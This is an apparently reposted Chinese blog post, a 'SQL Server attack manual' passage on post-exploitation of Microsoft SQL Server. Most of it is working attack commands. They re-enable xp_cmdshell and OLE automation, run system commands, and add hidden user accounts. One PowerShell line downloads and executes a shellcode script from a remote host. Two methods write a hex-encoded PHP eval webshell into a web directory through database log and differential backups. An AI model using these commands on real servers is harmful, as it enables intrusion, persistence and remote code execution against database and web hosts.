SQLserver攻击手册(一)(下)

本文涉及的产品
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS SQL Server,基础系列 2核4GB
简介: SQLserver攻击手册(一)
关闭xp_cmdshell存储过程

关闭xp_cmdshell存储过程

EXEC sp_configure 'showadvanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

640.png


删除xp_cmdshell语句

dropprocedure xp_cmdshell; exec sp_addextendedproc "xp_cmdshell", "xplog70.dll";

附录:

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 
exec sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll' 
exec sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll' 
exec sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll' 
exec sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll' 
exec sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll' 
exec sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll' 
exec sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll' 
exec sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll' 
exec sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll' 
exec sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_regread ,@dllname ='xpstar.dll' 
exec sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

(2)xp_cmdshell执行系统命令

#whoami
exec master.dbo.xp_cmdshell 'whoami' 
exec master.dbo.xp_cmdshell "whoami" 
exec xp_cmdshell "whoami";
#ipconfig/all
exec master..xp_cmdshell 'ipconfig/all'
#查询操作系统和版本信息(分别对应中英文系统)
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"' 
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"'
#通过xp_cmdshell执行wmic获取系统信息
exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List
#调用reg query注册表键值判断RDP服务的端口号
exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'
#通过xp_cmdshell执行添加testuser1用户并不输出结果
exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT
#通过xp_cmdshell删除testuser1用户并且不输出结果
EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT
exec master.dbo.xp_cmdshell 'taskkill /f /im taskmgr.exe';
#调用xp_cmdshell执行mkdir命令创建目录
exec master..xp_cmdshell 'mkdir "C:\test\"'
#通过xp_cmdshell执行dir命令
exec master..xp_cmdshell 'dir c:\' 
exec xp_cmdshell 'dir c:\'
#通过xp_cmdshell删除文件
exec master..xp_cmdshell 'del C:\test';
#xp_cmdshell调用Powershell  这个调试的时候出现一点点问题
 #通过xp_cmdshell调用powershell下载    #http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
exec xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSpl oit/master/CodeExecution/Invoke--Shellcode.ps1''))"'

通过xp_cmdshell执行添加testuser1用户并且不输出结果

exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT

640.png


删除testuser1用户并不输出结果

EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT

(3)xp_regread 对注册表进行增删改查

SQL Server存在一系列的存储过程,可以对注册表进行增删改查。xp_regread、xp_regwrite、xp_regdeletvalue、xp_regdeletkey、xp_regaddmultistring

读注册表
exec xp_regread 'HKEY_current_user','Control Panel\International','sCountry' exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'

640.png


枚举可用的注册表键值
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

640.png

(4)xp_fileexist 判断文件是否存在

判读文件是否存在,第一列返回0表示文件不存在,返回1表示文件存在。当执行完无回显命令时,一般都将结果输入至文件中,利用此存储过程可以判断无回命令是否执行成功。

判读文件是否存在

exec xp_fileexist 'C:\\test\1.txt'

640.png


列出当前目录
exec xp_subdirs "C:\\"

640.png


(5)xp_getnetname 获取服务器名称

exec xp_getnetname

640.png


(6)xp_msver获取服务器信息

exec xp_msver


640.png

(7)xp_fixeddrives 获取磁盘空间信息

exec xp_fixeddrives


640.png

(8)在SA权限下使用sp_oacreate

首先查看sp_oacreate的状态:

select * from master.dbo.sysobjects where xtype='x'andname='SP_OACREATE'
selectcount(*) from master.dbo.sysobjects where xtype='x'and
name='SP_OACREATE'#和xp_cmdshell,状态便于观察。如果存在返回1

640.png


利用sp_oacreate执行系统命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'

如果出现下面这种情况:

SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程 'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。

可以使用下面命令打开

EXEC sp_configure 'showadvanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1; 
RECONFIGURE WITH OVERRIDE;

执行完成之后我们再利用sp_oacreate执行系统命令:

还可以利用sp_oacreate执行创建用户test命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Password@ /add'


640.png

我在windows7使用未成功


2.2在db_owber权限下

(1)利用LOG备份上传木马getshell

这里我们就得知道SQLserver常见的备份策略:

  1. 每周一次完整备份
  2. 每天一次差异备份
  3. 每小时一次事务日志备份

利用前提:

  1. 目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
  2. 知道网站的绝对路径
  3. 该注入支持堆叠注入
alterdatabase 数据库名 setRECOVERYFULL;   #修改数据库恢复模式为 完整模式
createtable cmd (a image);        #创建一张表cmd,只有一个列 a,类型为image
backuplog 数据库名 to disk= 'C:\phpstudy\WWW\1.php'with init;   #备份表到指定路径
insertinto cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  #插入一句话到cmd表里0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
backuplog 数据库名 to disk='C:\phpstudy\WWW\2.php';   #把操作日志备份到指定文件
droptable cmd;    #删除cmd表

(2)利用差异备份上传木马getshell

利用前提

  1. 知道网站的绝对路径
  2. 该注入支持堆叠注入
#注:以下语句一条一条执行
createtable [dbo].[test] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965backuplog @a to disk = @s with init,no_truncate#这里第二行的 0x786965,是字符 xie 的16进制表示,这里随便填都可以
insertinto [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)#第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000backuplog @a to disk=@s with init,no_truncate#第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是  C:phpstudyWWWshell.php 的16进制表示
Droptable [test]



相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS&nbsp;SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/sqlserver
相关文章
|
SQL 存储 调度
|
2月前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
100 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
3月前
|
SQL 数据库 数据安全/隐私保护
SQL Server数据库Owner导致事务复制log reader job无法启动的解决办法
【8月更文挑战第14天】解决SQL Server事务复制Log Reader作业因数据库所有者问题无法启动的方法:首先验证数据库所有者是否有效并具足够权限;若非,使用`ALTER AUTHORIZATION`更改为有效登录名。其次,确认Log Reader使用的登录名拥有读取事务日志所需的角色权限。还需检查复制配置是否准确无误,并验证Log Reader代理的连接信息及参数。重启SQL Server Agent服务或手动启动Log Reader作业亦可能解决问题。最后,审查SQL Server错误日志及Windows事件查看器以获取更多线索。
|
10天前
|
存储 数据挖掘 数据库
数据库数据恢复—SQLserver数据库ndf文件大小变为0KB的数据恢复案例
一个运行在存储上的SQLServer数据库,有1000多个文件,大小几十TB。数据库每10天生成一个NDF文件,每个NDF几百GB大小。数据库包含两个LDF文件。 存储损坏,数据库不可用。管理员试图恢复数据库,发现有数个ndf文件大小变为0KB。 虽然NDF文件大小变为0KB,但是NDF文件在磁盘上还可能存在。可以尝试通过扫描&拼接数据库碎片来恢复NDF文件,然后修复数据库。
|
2月前
|
SQL 关系型数据库 MySQL
创建包含MySQL和SQLServer数据库所有字段类型的表的方法
创建一个既包含MySQL又包含SQL Server所有字段类型的表是一个复杂的任务,需要仔细地比较和转换数据类型。通过上述方法,可以在两个数据库系统之间建立起相互兼容的数据结构,为数据迁移和同步提供便利。这一过程不仅要考虑数据类型的直接对应,还要注意特定数据类型在不同系统中的表现差异,确保数据的一致性和完整性。
30 4
|
2月前
|
SQL 存储 数据管理
SQL Server数据库
SQL Server数据库
51 11
|
3月前
|
SQL Java 数据库
jsp中使用Servlet查询SQLSERVER数据库中的表的信息,并且打印在屏幕上
该博客文章介绍了在JSP应用中使用Servlet查询SQL Server数据库的表信息,并通过JavaBean封装图书信息,将查询结果展示在Web页面上的方法。
jsp中使用Servlet查询SQLSERVER数据库中的表的信息,并且打印在屏幕上
|
3月前
|
SQL 数据库
Microsoft SQL Server 2014如何来备份数据库
Microsoft SQL Server 2014如何来备份数据库
300 3
|
3月前
|
SQL 关系型数据库 MySQL
SQL数据库和 SQLserver数据库
【8月更文挑战第19天】SQL数据库和 SQLserver数据库
57 2